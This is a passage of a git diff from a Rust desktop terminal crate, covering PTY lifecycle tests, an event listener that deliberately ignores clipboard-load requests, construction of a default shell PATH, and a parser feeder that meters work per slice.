let default_prog = observe_argv0(&dir.join("default"), shell, true);
|
||||||
|
assert_eq!(
|
||||||
|
default_prog,
|
||||||
|
login_argv0(shell),
|
||||||
|
"the child's $0 is not the login argv0 we computed"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
default_prog.starts_with('-'),
|
||||||
|
"a default-prog child must be a login shell: {default_prog:?}"
|
||||||
|
);
|
||||||
|
|
||||||
|
let explicit = observe_argv0(&dir.join("explicit"), shell, false);
|
||||||
|
assert_eq!(
|
||||||
|
explicit, shell,
|
||||||
|
"control: an explicitly-invoked shell must not be given a login argv0"
|
||||||
|
);
|
||||||
|
assert_ne!(
|
||||||
|
default_prog, explicit,
|
||||||
|
"control and subject agree, so this test cannot observe the login \
|
||||||
|
prefix at all"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
|
||||||
|
/// default program (login argv0 applied by portable-pty) or explicitly.
|
||||||
|
///
|
||||||
|
/// The default-prog child is an *interactive* shell with no `-c`, so it is
|
||||||
|
/// driven by writing to the PTY master -- the only way to give a login shell
|
||||||
|
/// a command is to type one.
|
||||||
|
fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
|
||||||
|
let pair = open_pty();
|
||||||
|
let resolved = resolve_shell(Some(shell));
|
||||||
|
let mut cmd = if default_prog {
|
||||||
|
CommandBuilder::new_default_prog()
|
||||||
|
} else {
|
||||||
|
CommandBuilder::new(shell)
|
||||||
|
};
|
||||||
|
fence_env(&mut cmd, &user_shell_path(), &resolved);
|
||||||
|
if !default_prog {
|
||||||
|
cmd.arg("-c");
|
||||||
|
cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
|
||||||
|
drain(&pair);
|
||||||
|
drop(pair.slave);
|
||||||
|
|
||||||
|
if default_prog {
|
||||||
|
use std::io::Write;
|
||||||
|
let mut writer = pair.master.take_writer().expect("writer");
|
||||||
|
writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
|
||||||
|
writer.flush().expect("flush");
|
||||||
|
// Dropping the writer closes the master's write side, which the shell
|
||||||
|
// reads as end-of-input and exits on -- no `exit` command needed, and
|
||||||
|
// nothing depends on the shell's rc files having run.
|
||||||
|
drop(writer);
|
||||||
|
}
|
||||||
|
|
||||||
|
let observed = read_when_written(outfile);
|
||||||
|
let _ = crate::lifecycle::shutdown(&mut child);
|
||||||
|
observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A fresh directory for a test's artifacts, replacing any prior run's.
|
||||||
|
fn tempdir(name: &str) -> std::path::PathBuf {
|
||||||
|
let dir = std::env::temp_dir().join(name);
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
std::fs::create_dir_all(&dir).expect("create temp dir");
|
||||||
|
dir
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Mari's noisy-child discriminator: the reader must still be draining
|
||||||
|
/// **while** the child is being terminated and reaped.
|
||||||
|
///
|
||||||
|
/// The portable contract is structural: `stop` must not be requested until
|
||||||
|
/// the child has been reaped. The recording reader checks the child PID at the
|
||||||
|
/// `stop` call, while the continuously noisy PTY makes the test exercise a
|
||||||
|
/// reader that is genuinely active rather than a quiet no-op.
|
||||||
|
///
|
||||||
|
/// The child is deliberately noisy: it floods the PTY continuously, so a
|
||||||
|
/// master that stops being read fills its kernel buffer within milliseconds
|
||||||
|
/// and the child blocks in `write()`. That is the state the drain law exists
|
||||||
|
/// to avoid, and a quiet child cannot produce it -- with nothing being
|
||||||
|
/// written, both orders look identical and the test proves nothing.
|
||||||
|
#[test]
|
||||||
|
fn reader_drains_through_termination_and_reap() {
|
||||||
|
let pair = open_pty();
|
||||||
|
|
||||||
|
// Flood, and keep flooding: `yes` writes until the pipe is closed or the
|
||||||
|
// process dies, so there is always more output pending than the buffer
|
||||||
|
// holds.
|
||||||
|
let mut child = spawn_noisy(&pair);
|
||||||
|
let pid = child.process_id().expect("pid") as i32;
|
||||||
|
|
||||||
|
let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
|
||||||
|
let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
|
||||||
|
let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
|
||||||
|
// Release the slave, exactly as the runtime does after spawning
|
||||||
|
// (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
|
||||||
|
// EOF while *any* process holds the slave open, and this test is one --
|
||||||
|
// so with the slave retained the reader parks in `read()` forever after
|
||||||
|
// the child is reaped, and every wait on it burns its whole bound. Linux
|
||||||
|
// honours that rule strictly; Darwin ends the read when the session
|
||||||
|
// leader exits, so the retained slave was invisible on the platform this
|
||||||
|
// was written on and failed only in CI.
|
||||||
|
drop(pair.slave);
|
||||||
|
|
||||||
|
// Establish that this is a live draining reader, not a quiet fixture.
|
||||||
|
assert!(
|
||||||
|
poll_until(|| reader.total_bytes() > 4096),
|
||||||
|
"test setup: the child is not producing enough output to fill the pty \
|
||||||
|
buffer, so this cannot distinguish drain order"
|
||||||
|
);
|
||||||
|
|
||||||
|
let started = Instant::now();
|
||||||
|
let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
|
||||||
|
// `stop` runs the instant `shutdown` returns, so this is the child's half
|
||||||
|
// of the window and nothing else. Timing the whole call would fold reader
|
||||||
|
// teardown into an assertion whose message is about child termination --
|
||||||
|
// which is exactly how a stalled reader once read as a wedged child.
|
||||||
|
let elapsed = stop_at
|
||||||
|
.lock()
|
||||||
|
.unwrap()
|
||||||
|
.expect("stop was never called")
|
||||||
|
.duration_since(started);
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
outcome,
|
||||||
|
Shutdown::Terminated,
|
||||||
|
"a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
|
||||||
|
a tty write against an undrained master"
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
elapsed < TERM_GRACE,
|
||||||
|
"shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
|
||||||
|
period: the child was blocked writing to an undrained master rather \
|
||||||
|
than exiting on SIGTERM"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
*order.lock().unwrap(),
|
||||||
|
["begin_closing", "stop", "join"],
|
||||||
|
"reader close must begin before termination and stop/join only after reap"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Spawns a child that floods the PTY without pause.
|
||||||
|
fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
|
||||||
|
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
|
||||||
|
let mut cmd = CommandBuilder::new("/bin/sh");
|
||||||
|
fence_env(&mut cmd, &user_shell_path(), &shell);
|
||||||
|
cmd.arg("-c");
|
||||||
|
cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
|
||||||
|
// Deliberately no `drain` here: this test owns the reader.
|
||||||
|
pair.slave.spawn_command(cmd).expect("spawn")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A [`DrainingReader`] that records how much it read after close began.
|
||||||
|
struct RecordingReader {
|
||||||
|
pid: i32,
|
||||||
|
total: std::sync::Arc<std::sync::atomic::AtomicU64>,
|
||||||
|
handle: std::thread::JoinHandle<()>,
|
||||||
|
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
|
||||||
|
/// When `stop` was called -- i.e. the instant `shutdown` returned.
|
||||||
|
stop_at: StopClock,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Shared slot for the instant the reader was asked to stop.
|
||||||
|
type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
|
||||||
|
|
||||||
|
impl RecordingReader {
|
||||||
|
fn spawn(
|
||||||
|
pair: &PtyPair,
|
||||||
|
pid: i32,
|
||||||
|
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
|
||||||
|
stop_at: StopClock,
|
||||||
|
) -> Self {
|
||||||
|
let mut reader = pair.master.try_clone_reader().expect("reader");
|
||||||
|
let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
|
||||||
|
let counter = total.clone();
|
||||||
|
let handle = std::thread::spawn(move || {
|
||||||
|
use std::io::Read;
|
||||||
|
let mut buf = [0u8; 4096];
|
||||||
|
while let Ok(n) = reader.read(&mut buf) {
|
||||||
|
if n == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
counter.fetch_add(n as u64, Ordering::Relaxed);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
Self {
|
||||||
|
pid,
|
||||||
|
total,
|
||||||
|
handle,
|
||||||
|
order,
|
||||||
|
stop_at,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn total_bytes(&self) -> u64 {
|
||||||
|
self.total.load(Ordering::Relaxed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl DrainingReader for RecordingReader {
|
||||||
|
fn begin_closing(&self) {
|
||||||
|
self.order.lock().unwrap().push("begin_closing");
|
||||||
|
}
|
||||||
|
|
||||||
|
fn stop(&self) {
|
||||||
|
*self.stop_at.lock().unwrap() = Some(Instant::now());
|
||||||
|
assert!(
|
||||||
|
!pid_alive(self.pid),
|
||||||
|
"reader stop must not be requested before the child is reaped"
|
||||||
|
);
|
||||||
|
self.order.lock().unwrap().push("stop");
|
||||||
|
}
|
||||||
|
|
||||||
|
fn join(self: Box<Self>) {
|
||||||
|
self.order.lock().unwrap().push("join");
|
||||||
|
// Bounded, and that is the whole point. The read loop ends when the
|
||||||
|
// master reports EOF, which only happens once the reaped child has
|
||||||
|
// released the slave -- so joining *before* termination blocks
|
||||||
|
// forever. That is precisely the forbidden ordering (mutation L4),
|
||||||
|
// and an unbounded join would "detect" it by hanging, which is
|
||||||
|
// indistinguishable from a broken test. Waiting to a deadline and
|
||||||
|
// abandoning the thread converts the hang into an assertion failure
|
||||||
|
// the harness can report.
|
||||||
|
//
|
||||||
|
// The deadline must *assert*, not return. A silent abandon is
|
||||||
|
// indistinguishable from a clean join, and that is not hypothetical:
|
||||||
|
// it is how a 10 s stall in this fixture masqueraded as a
|
||||||
|
// child-termination failure in the caller's timing assertion. The
|
||||||
|
// caller's clock covers `shutdown()` only, so this is the sole gate
|
||||||
|
// on reader teardown -- with a wedged reader, `shutdown()` still
|
||||||
|
// returns in ~58 ms and every other assertion here passes.
|
||||||
|
assert!(
|
||||||
|
poll_until(|| self.handle.is_finished()),
|
||||||
|
"reader thread never finished within {BOUND:?} after the child was \
|
||||||
|
reaped: the master never reached EOF, so output was not being \
|
||||||
|
drained through termination"
|
||||||
|
);
|
||||||
|
let _ = self.handle.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
144
desktop/src-tauri/crates/buzz-terminal/src/listener.rs
Normal file
144
desktop/src-tauri/crates/buzz-terminal/src/listener.rs
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
//! The closed set of terminal events we act on.
|
||||||
|
//!
|
||||||
|
//! `EventListener` is how the emulator asks the embedder to do something. Most
|
||||||
|
//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
|
||||||
|
//! would let terminal output read the user's clipboard into the shell. We
|
||||||
|
//! answer a fixed set and **drop everything else by default**, so a new upstream
|
||||||
|
//! variant is inert until someone deliberately handles it.
|
||||||
|
|
||||||
|
use std::fmt;
|
||||||
|
use std::sync::mpsc::{self, Receiver, Sender};
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use alacritty_terminal::event::{Event, EventListener, WindowSize};
|
||||||
|
use alacritty_terminal::vte::ansi::Rgb;
|
||||||
|
|
||||||
|
/// Something the embedder must do on the terminal's behalf.
|
||||||
|
///
|
||||||
|
/// Two variants carry upstream's reply formatters rather than a finished
|
||||||
|
/// string: the answers depend on state this listener does not own (the color
|
||||||
|
/// palette, the cell metrics). Resolving them here would mean inventing
|
||||||
|
/// values, and a program that asked for its terminal's real background color
|
||||||
|
/// would silently be told black.
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub enum Action {
|
||||||
|
/// Write bytes back to the PTY.
|
||||||
|
PtyWrite(String),
|
||||||
|
/// Reply with palette entry `index`, formatted by `format`.
|
||||||
|
ColorReply {
|
||||||
|
index: usize,
|
||||||
|
format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
|
||||||
|
},
|
||||||
|
/// Reply with the text area size, formatted by `format`.
|
||||||
|
SizeReply {
|
||||||
|
format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
|
||||||
|
},
|
||||||
|
/// The program set the window title (already clamped).
|
||||||
|
Title(String),
|
||||||
|
/// The program reset the window title.
|
||||||
|
ResetTitle,
|
||||||
|
/// New content is available; the renderer should sample damage.
|
||||||
|
Wakeup,
|
||||||
|
/// The program rang the bell.
|
||||||
|
Bell,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Debug for Action {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
|
||||||
|
Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
|
||||||
|
Self::SizeReply { .. } => write!(f, "SizeReply"),
|
||||||
|
Self::Title(title) => write!(f, "Title({title:?})"),
|
||||||
|
Self::ResetTitle => write!(f, "ResetTitle"),
|
||||||
|
Self::Wakeup => write!(f, "Wakeup"),
|
||||||
|
Self::Bell => write!(f, "Bell"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Longest title we will carry. A title is program-controlled text that ends up
|
||||||
|
/// in UI chrome; an unbounded one is a memory and layout problem.
|
||||||
|
pub const TITLE_LIMIT: usize = 512;
|
||||||
|
|
||||||
|
/// Clamp on a character boundary, never mid-UTF-8.
|
||||||
|
fn clamp_title(title: String) -> String {
|
||||||
|
match title.char_indices().nth(TITLE_LIMIT) {
|
||||||
|
None => title,
|
||||||
|
Some((byte_idx, _)) => title[..byte_idx].to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Translates upstream events into the closed [`Action`] set.
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct Listener(Sender<Action>);
|
||||||
|
|
||||||
|
impl Listener {
|
||||||
|
pub fn new() -> (Self, Receiver<Action>) {
|
||||||
|
let (tx, rx) = mpsc::channel();
|
||||||
|
(Self(tx), rx)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resolve an emulator action that can be answered without renderer state.
|
||||||
|
///
|
||||||
|
/// Color queries deliberately return `None`: named/indexed colors resolve
|
||||||
|
/// against the live theme, which this crate does not own.
|
||||||
|
pub fn reply(
|
||||||
|
action: Action,
|
||||||
|
columns: u16,
|
||||||
|
rows: u16,
|
||||||
|
cell_width: u16,
|
||||||
|
cell_height: u16,
|
||||||
|
) -> Option<String> {
|
||||||
|
match action {
|
||||||
|
Action::PtyWrite(text) => Some(text),
|
||||||
|
Action::SizeReply { format } => Some(format(WindowSize {
|
||||||
|
num_lines: rows,
|
||||||
|
num_cols: columns,
|
||||||
|
cell_width,
|
||||||
|
cell_height,
|
||||||
|
})),
|
||||||
|
// Palette values are renderer-owned. The transport must answer these
|
||||||
|
// only after it has a renderer palette, never invent one here.
|
||||||
|
Action::ColorReply { .. }
|
||||||
|
| Action::Title(_)
|
||||||
|
| Action::ResetTitle
|
||||||
|
| Action::Wakeup
|
||||||
|
| Action::Bell => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EventListener for Listener {
|
||||||
|
fn send_event(&self, event: Event) {
|
||||||
|
let action = match event {
|
||||||
|
// Replies the program is waiting on. These are the only routes by
|
||||||
|
// which emulator state travels back into the shell.
|
||||||
|
Event::PtyWrite(text) => Action::PtyWrite(text),
|
||||||
|
// A program blocked on a color reply must get one, or it hangs.
|
||||||
|
// The palette lives in `Term`, so the caller resolves the index;
|
||||||
|
// the formatter is carried through untouched.
|
||||||
|
Event::ColorRequest(index, format) => Action::ColorReply { index, format },
|
||||||
|
Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
|
||||||
|
Event::Title(title) => Action::Title(clamp_title(title)),
|
||||||
|
Event::ResetTitle => Action::ResetTitle,
|
||||||
|
Event::Wakeup => Action::Wakeup,
|
||||||
|
Event::Bell => Action::Bell,
|
||||||
|
|
||||||
|
// Dropped on purpose, and enumerated so the reason survives:
|
||||||
|
//
|
||||||
|
// ClipboardLoad would let terminal output paste the user's
|
||||||
|
// clipboard into the shell. Never handled.
|
||||||
|
Event::ClipboardLoad(..) => return,
|
||||||
|
// ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
|
||||||
|
// Term config, so this should be unreachable rather than merely
|
||||||
|
// unhandled.
|
||||||
|
Event::ClipboardStore(..) => return,
|
||||||
|
// Presentation concerns the renderer polls for; no action here.
|
||||||
|
Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
|
||||||
|
// Lifecycle is owned by the PTY layer, not the emulator.
|
||||||
|
Event::Exit | Event::ChildExit(_) => return,
|
||||||
|
};
|
||||||
|
let _ = self.0.send(action);
|
||||||
|
}
|
||||||
|
}
|
||||||
46
desktop/src-tauri/crates/buzz-terminal/src/path.rs
Normal file
46
desktop/src-tauri/crates/buzz-terminal/src/path.rs
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
//! `PATH` derivation for spawned PTY children.
|
||||||
|
//!
|
||||||
|
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
|
||||||
|
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
|
||||||
|
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
|
||||||
|
//! pinned build toolchain rather than the ones they installed. That is a
|
||||||
|
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
|
||||||
|
//! answer for the user's machine, not for Buzz's build.
|
||||||
|
//!
|
||||||
|
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
|
||||||
|
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
|
||||||
|
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
|
||||||
|
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
|
||||||
|
//! those same keys at `:505-506` to learn what to strip. With both keys
|
||||||
|
//! already gone the roots list is empty and the function returns early,
|
||||||
|
//! leaving the hermit entries in place. Verified by reproduction: in that
|
||||||
|
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
|
||||||
|
//! removed. A subtractive fence depends on evidence of what to subtract, and
|
||||||
|
//! that evidence is exactly what the preceding cleanup destroys.
|
||||||
|
//!
|
||||||
|
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
|
||||||
|
//! standard user path, which is what a login shell would have produced had
|
||||||
|
//! Buzz never been in the picture.
|
||||||
|
|
||||||
|
/// The default user `PATH` for a spawned shell.
|
||||||
|
///
|
||||||
|
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
|
||||||
|
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
|
||||||
|
/// `~/.local/bin`); starting from the platform default lets that happen
|
||||||
|
/// normally instead of layering it on top of Buzz's build toolchain.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub fn user_shell_path() -> String {
|
||||||
|
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
|
||||||
|
// binaries only. `/usr/local/bin` is included because it is the
|
||||||
|
// conventional prefix on both macOS and Linux for user-installed tools
|
||||||
|
// that rc files expect to already be present.
|
||||||
|
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(windows)]
|
||||||
|
pub fn user_shell_path() -> String {
|
||||||
|
// On Windows the system directories are derived from the environment
|
||||||
|
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
|
||||||
|
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
|
||||||
|
format!(r"{root}\system32;{root};{root}\system32\Wbem")
|
||||||
|
}
|
||||||
354
desktop/src-tauri/crates/buzz-terminal/src/reader.rs
Normal file
354
desktop/src-tauri/crates/buzz-terminal/src/reader.rs
Normal file
@@ -0,0 +1,354 @@
|
|||||||
|
//! Fence enforcement around `vte`'s `Processor`.
|
||||||
|
//!
|
||||||
|
//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
|
||||||
|
//! It is the single place both fences are applied, so there is no route by
|
||||||
|
//! which bytes become parser-visible without being charged.
|
||||||
|
|
||||||
|
use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
|
||||||
|
|
||||||
|
use crate::fences::{
|
||||||
|
slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
|
||||||
|
TAIL_RESUME, WORK_BUDGET,
|
||||||
|
};
|
||||||
|
use crate::units::{Counting, CursorColumn};
|
||||||
|
|
||||||
|
/// Owns the parser and enforces F1/F2 on every byte fed to it.
|
||||||
|
pub struct Feeder {
|
||||||
|
parser: Processor<StdSyncHandler>,
|
||||||
|
fences: Fences,
|
||||||
|
stats: FenceStats,
|
||||||
|
/// Bytes charged since the last F2 reset.
|
||||||
|
since_reset: usize,
|
||||||
|
/// Bytes accepted but not yet parsed. Grows when arrival outruns
|
||||||
|
/// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
|
||||||
|
pending: Vec<u8>,
|
||||||
|
/// How much of `pending` has already been parsed. Kept as an index rather
|
||||||
|
/// than draining the front on every slice, so a large tail is not
|
||||||
|
/// re-shuffled once per slice; the prefix is dropped in one go on the next
|
||||||
|
/// enqueue.
|
||||||
|
pending_at: usize,
|
||||||
|
/// The grid the weights are computed against. Tracked here rather than
|
||||||
|
/// read from the `Term` because `feed` only has the handler, and kept in
|
||||||
|
/// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
|
||||||
|
/// callback for as long as it is wrong.
|
||||||
|
columns: usize,
|
||||||
|
lines: usize,
|
||||||
|
/// Whether the parser is part-way through an escape sequence that has not
|
||||||
|
/// yet dispatched. Governs how the next slice is metered -- see
|
||||||
|
/// [`crate::fences::slice_bytes_remaining`].
|
||||||
|
mid_escape: bool,
|
||||||
|
/// Deepest scrollback this feeder has ever been configured for.
|
||||||
|
///
|
||||||
|
/// A high-water mark rather than the current depth, and the difference is
|
||||||
|
/// not conservatism for its own sake -- the rows are still there. Upstream
|
||||||
|
/// frees history lazily: `Storage::shrink_lines` truncates only once the
|
||||||
|
/// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
|
||||||
|
/// a decrease the grid still owns rows that a reset must walk. Pricing at
|
||||||
|
/// the new depth would charge for a grid that does not exist yet.
|
||||||
|
///
|
||||||
|
/// Never lowered, so it needs no clearing transition and cannot go stale
|
||||||
|
/// in the unsafe direction. The cost is that a session which shrinks its
|
||||||
|
/// scrollback keeps paying the deep price for the rest of its life; the
|
||||||
|
/// alternative is a bound that is wrong immediately after every shrink.
|
||||||
|
scrollback: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Feeder {
|
||||||
|
pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
|
||||||
|
Self {
|
||||||
|
parser: Processor::new(),
|
||||||
|
fences,
|
||||||
|
stats: FenceStats::default(),
|
||||||
|
since_reset: 0,
|
||||||
|
pending: Vec::new(),
|
||||||
|
pending_at: 0,
|
||||||
|
mid_escape: false,
|
||||||
|
columns,
|
||||||
|
lines,
|
||||||
|
scrollback,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Track a geometry change, so the cost weights describe the current grid.
|
||||||
|
///
|
||||||
|
/// Takes the whole [`crate::Size`] rather than a column/line pair on
|
||||||
|
/// purpose. Scrollback is as load-bearing as the other two -- it is most
|
||||||
|
/// of RIS's price and therefore most of the slice derivation -- and a
|
||||||
|
/// signature that accepted only the dimensions let a caller change the
|
||||||
|
/// depth on the `Term` while the feeder kept charging the construction
|
||||||
|
/// value. One argument, one ownership boundary, no way to update two of
|
||||||
|
/// three.
|
||||||
|
pub fn resize(&mut self, size: crate::Size) {
|
||||||
|
self.columns = size.columns;
|
||||||
|
self.lines = size.screen_lines;
|
||||||
|
// Grows only. See the field: a decrease does not immediately free the
|
||||||
|
// rows a reset has to walk.
|
||||||
|
self.scrollback = self.scrollback.max(size.scrollback);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn stats(&self) -> FenceStats {
|
||||||
|
self.stats
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn reset_stats(&mut self) {
|
||||||
|
self.stats.reset();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bytes currently buffered inside a synchronized update.
|
||||||
|
pub fn pending_sync_bytes(&self) -> usize {
|
||||||
|
self.parser.sync_bytes_count()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
|
||||||
|
/// spent its work budget before reaching them.
|
||||||
|
pub fn pending_bytes(&self) -> usize {
|
||||||
|
self.pending.len() - self.pending_at
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether the pending tail has reached [`TAIL_CAP`].
|
||||||
|
///
|
||||||
|
/// Deliberately derived from the current depth rather than latched. A
|
||||||
|
/// latch is a state the fence owns and could fail to clear, which is
|
||||||
|
/// exactly how a paused reader strands a child mid-teardown; a reader that
|
||||||
|
/// simply stops asking resumes by default.
|
||||||
|
///
|
||||||
|
/// **No production consumer today, and not an oversight.** The runtime
|
||||||
|
/// reader pumps [`Feeder::drain`] to completion after every read
|
||||||
|
/// (`terminal_runtime.rs`), so the tail is empty between iterations and
|
||||||
|
/// this can never go true -- measured 0 bytes high-water against 8 MiB of
|
||||||
|
/// pure RIS, the densest atom there is. It exists for a future reader
|
||||||
|
/// that defers pumping, and such a reader **must** consult it: without
|
||||||
|
/// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
|
||||||
|
/// 16 KiB.
|
||||||
|
///
|
||||||
|
/// The numbers are here rather than "nothing calls this" because the
|
||||||
|
/// signal and the loop are one fact from two sides. Delete the loop and
|
||||||
|
/// this predicate stops being unreachable in the same instant it starts
|
||||||
|
/// being needed.
|
||||||
|
pub fn tail_full(&self) -> bool {
|
||||||
|
self.pending_bytes() >= TAIL_CAP
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether a paused reader may resume: the tail has drained to the low
|
||||||
|
/// water mark. Separate from `!tail_full()` so the reader does not flap
|
||||||
|
/// between full and one-byte-below-full.
|
||||||
|
pub fn tail_drained(&self) -> bool {
|
||||||
|
self.pending_bytes() <= TAIL_RESUME
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Discard the unparsed tail.
|
||||||
|
///
|
||||||
|
/// For session close only, and lossless where it is used: publication is
|
||||||
|
/// detached before shutdown drains, so this tail is bytes no renderer can
|
||||||
|
/// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
|
||||||
|
/// parser work cannot hold teardown behind it.
|
||||||
|
pub fn abandon_tail(&mut self) -> usize {
|
||||||
|
let abandoned = self.pending_bytes();
|
||||||
|
self.pending.clear();
|
||||||
|
self.pending_at = 0;
|
||||||
|
self.stats.abandoned_bytes += abandoned as u64;
|
||||||
|
abandoned
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Accept PTY output and parse what fits in one work budget.
|
||||||
|
///
|
||||||
|
/// Returns whether bytes remain unparsed. Bytes beyond the budget are
|
||||||
|
/// retained and parsed by [`Feeder::drain`], so this bounds the *lock
|
||||||
|
/// hold*; it does not bound the queue. When arrival outruns retirement
|
||||||
|
/// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
|
||||||
|
/// which is the reader's cue to stop reading the PTY and let the child
|
||||||
|
/// block. No policy is applied here: a fence that dropped input to protect
|
||||||
|
/// itself would corrupt the screen to avoid being slow.
|
||||||
|
pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
|
||||||
|
self.enqueue(bytes);
|
||||||
|
self.drain(handler);
|
||||||
|
self.pending_bytes() > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Append to the pending tail, compacting the already-parsed prefix first.
|
||||||
|
fn enqueue(&mut self, bytes: &[u8]) {
|
||||||
|
if self.pending_at > 0 {
|
||||||
|
self.pending.drain(..self.pending_at);
|
||||||
|
self.pending_at = 0;
|
||||||
|
}
|
||||||
|
self.pending.extend_from_slice(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse from the pending tail until the work budget is spent.
|
||||||
|
///
|
||||||
|
/// The budget is checked between parser slices, never inside a callback:
|
||||||
|
/// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
|
||||||
|
/// implementor in the ansi layer is private, so the cut has to be made
|
||||||
|
/// from outside, and a callback already running cannot be preempted at
|
||||||
|
/// all. One atom is therefore the irreducible overrun -- and it is not
|
||||||
|
/// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
|
||||||
|
/// columns, because upstream's `move_backward_tabs` rescans the row once
|
||||||
|
/// per count when it finds no stop.
|
||||||
|
///
|
||||||
|
/// What *is* bounded is the number of atoms per slice, and that bound
|
||||||
|
/// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
|
||||||
|
/// from the densest work-per-byte upstream can produce on this grid, so
|
||||||
|
/// no slice can contain more than one budget's worth of callbacks no
|
||||||
|
